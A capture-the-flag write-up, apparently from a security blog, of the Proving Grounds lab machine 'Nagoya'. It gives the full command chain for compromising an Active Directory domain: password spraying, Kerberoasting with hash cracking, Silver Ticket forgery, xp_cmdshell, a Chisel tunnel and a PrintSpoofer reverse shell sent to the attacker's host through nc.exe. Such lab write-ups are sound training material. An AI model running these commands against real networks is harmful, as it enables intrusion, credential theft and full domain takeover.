skip to content
← back to catalog
ES
FILE №009 · CLASSIFICATION DECLASSIFIED ·

Nagoya

PG HARD TARGET: 192.168.235.21
#windows#active-directory#genericall#kerberoasting#silver-ticket#mssql#seimpersonateprivilege#printspoofer

Nagoya Banner

Details

  • OS: Windows
  • Difficulty: Hard
  • IP Address: 192.168.235.21
  • Author: AETH3RON

Overview

Nagoya is a Windows Active Directory machine that requires a multi-stage attack chain involving web enumeration and Active Directory exploitation. The foothold is established by harvesting employee names from the company website, generating a custom username list, and performing a password spray attack to compromise a valid user. Lateral movement is achieved by recovering credentials from a hidden file on an SMB share and leveraging Active Directory permissions (GenericAll) to reset a target user’s password. Privilege escalation to Administrator is accomplished by Kerberoasting a service account, forging a Silver Ticket to access a local MSSQL instance, and abusing SeImpersonatePrivilege using PrintSpoofer.

Enumeration

Nmap

We began by performing a basic scan to identify open ports.

nmap -Pn -sS -sV -p- 192.168.235.21 -oN nmap-basic

Nmap basic SYN scan showing open ports on Nagoya

We performed a more comprehensive scan on the discovered ports to enumerate the services.

nmap -Pn -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.235.21 -oN nmap-common

Nmap targeted scan confirming Windows DC with web server on port 80

Web Enumeration

We initiated a directory brute-force attack to uncover hidden paths on the web server.

gobuster dir -u http://192.168.235.21/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Gobuster discovering directories on the web server including /team section

The scan revealed several interesting directories. Navigating to the website, we discovered a “Team” section listing the names of company employees.

Company website landing page showing the Team section with employee names

This list provided a potential vector for username enumeration.

Team section listing employee names harvested for username generation

We copied the names into a file and used username-anarchy to generate a list of potential username formats.

./username-anarchy --input-file names.txt > usernames.txt

username-anarchy generating potential username formats from the employee names list

With the generated dictionary, we validated the usernames against the Domain Controller using kerbrute.

./kerbrute userenum -d nagoya-industries.com --dc 192.168.235.21 usernames.txt

Kerbrute validating generated usernames against the nagoya-industries.com domain

After filtering for valid usernames, we attempted various attacks (such as AS-REP Roasting) without success. We noted the copyright year on the website footer, which suggested a potential password pattern.

Website copyright year detail suggesting a seasonal password pattern (Summer2023)

Hypothesizing that users might use “SeasonYear” combinations (a common weak password policy), we created a custom password list. We then used NetExec to perform a password spray attack against the SMB service.

nxc smb 192.168.235.21 -u valid_usernames.txt -p passwords.txt

NetExec SMB password spray revealing fiona.clark:Summer2023 credentials

The attack was successful, revealing valid credentials for the user fiona.clark: Summer2023.

SMB

With valid credentials, we enumerated the SMB shares accessible to the user using the spider_plus module.

nxc smb 192.168.235.21 -u fiona.clark -p Summer2023 -M spider_plus

NetExec spider_plus crawling SMB shares as fiona.clark and identifying a temp file

We identified an interesting temporary file. After downloading it, we analyzed its contents using strings with the encoding flag set to 16-bit little-endian (-e l) to reveal hidden text.

strings -e l temp_file

strings -e l output revealing svc_helpdesk credentials from the downloaded temp file

The analysis exposed credentials for the svc_helpdesk account: U299iYRmikYTHDbPbxPoYYfa2j4x4cdg.

Foothold

With the service account credentials, we utilized BloodHound to map the Active Directory environment and identify attack paths.

bloodhound-python -u svc_helpdesk -p U299iYRmikYTHDbPbxPoYYfa2j4x4cdg -ns 192.168.235.21 -d nagoya-industries.com -c All --zip

bloodhound-python collecting all domain data using svc_helpdesk credentials

Analyzing the data, we observed that svc_helpdesk is a member of the Helpdesk group. This group possesses GenericAll privileges over several users, including Christopher.Lewis.

BloodHound showing svc_helpdesk's Helpdesk group has GenericAll over Christopher.Lewis

Leveraging this permission, we abused the GenericAll privilege to reset Christopher.Lewis’s password remotely.

net rpc password "christopher.lewis" 'P4ssw0rd123!' -U "nagoya-industries.com"/"svc_helpdesk"%"U299iYRmikYTHDbPbxPoYYfa2j4x4cdg" -S "192.168.235.21"

net rpc password command forcibly resetting Christopher.Lewis's password via GenericAll

We then established a shell session as Christopher.Lewis using evil-winrm.

evil-winrm -i 192.168.235.21 -u Christopher.Lewis -p 'P4ssw0rd123!'

Evil-WinRM shell established as Christopher.Lewis after password reset

Privilege Escalation

Further analysis in BloodHound revealed that svc_mssql and svc_helpdesk are vulnerable to Kerberoasting.

BloodHound showing svc_mssql and svc_helpdesk are Kerberoastable service accounts

We requested the Service Principal Name (SPN) ticket for the target account using Impacket.

impacket-GetUserSPNs nagoya-industries.com/svc_helpdesk:'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' -request -dc-ip 192.168.235.21 -outputfile kerberoast.hashes

Impacket GetUserSPNs requesting the svc_mssql TGS hash for offline cracking

We cracked the hash using Hashcat, revealing the password Service1.

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt

Hashcat cracking the svc_mssql TGS hash revealing password 'Service1'

Since the MSSQL service was not exposed externally, we deduced it was listening on localhost. We established a reverse tunnel using Chisel to access the internal service.

First, we started the Chisel server on our attacking machine:

./chisel server -p 8000 --reverse

Chisel reverse tunnel server started on the attacker machine on port 8000

Then, we uploaded the client to the victim machine and connected back:

.\chisel.exe client 192.168.45.212:8000 R:socks

Chisel client running on the victim machine connecting back to establish the SOCKS tunnel

To authenticate to MSSQL with administrative privileges, we forged a Silver Ticket. We required the NTLM hash of the svc_mssql account (derived from the cracked password), the Domain SID, and the Target SPN.

Using impacket-ticketer, we generated the ticket:

impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid "S-1-5-21-1969309164-1513403977-1686805993" -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com Administrator

impacket-ticketer forging a Silver Ticket for the svc_mssql SPN impersonating Administrator

We exported the credential cache:

export KRB5CCNAME=$PWD/Administrator.ccache

KRB5CCNAME exported to point to the forged Administrator.ccache ticket file

Using proxychains (configured for the Chisel tunnel on port 1080), we authenticated to the MSSQL instance using the forged ticket.

proxychains -q impacket-mssqlclient -k nagoya.nagoya-industries.com

Proxychains + impacket-mssqlclient connecting to internal MSSQL via Chisel tunnel with forged ticket

Inside the SQL shell, we enabled xp_cmdshell to execute system commands.

enable_xp_cmdshell
xp_cmdshell whoami

xp_cmdshell enabled and whoami command confirming RCE as svc_mssql in MSSQL

We generated a PowerShell reverse shell payload and executed it via the database.

PowerShell reverse shell payload executed via xp_cmdshell in MSSQL

We caught the connection on our listener. Upon checking privileges, we identified that the user possessed SeImpersonatePrivilege.

whoami /priv showing SeImpersonatePrivilege enabled for the svc_mssql account

Netcat listener catching the shell as the mssql service account with SeImpersonatePrivilege

We transferred PrintSpoofer.exe and nc.exe to the target. We then executed PrintSpoofer to abuse the privilege and spawn a SYSTEM shell.

PrintSpoofer.exe -c "c:\Temp\nc.exe 192.168.45.212 4433 -e cmd"

PrintSpoofer.exe abusing SeImpersonatePrivilege to spawn a SYSTEM reverse shell via nc.exe

The exploit succeeded, granting us a reverse shell as the Administrator.

Business Impact

In a real-world enterprise environment, this attack chain demonstrates how a single weak password policy can cascade into full domain compromise. The combination of password spraying, GenericAll ACL abuse, and Silver Ticket forgery would allow an attacker to move laterally across the entire Active Directory forest undetected. For organizations relying on MSSQL for business-critical applications, the ability to execute commands via xp_cmdshell represents a direct threat to data integrity and regulatory compliance. The final SeImpersonatePrivilege abuse underscores how a single misconfigured service account can undermine the entire security posture of the domain.

References

// FIELD DISPATCHES

New recovered files, straight to your inbox. No noise.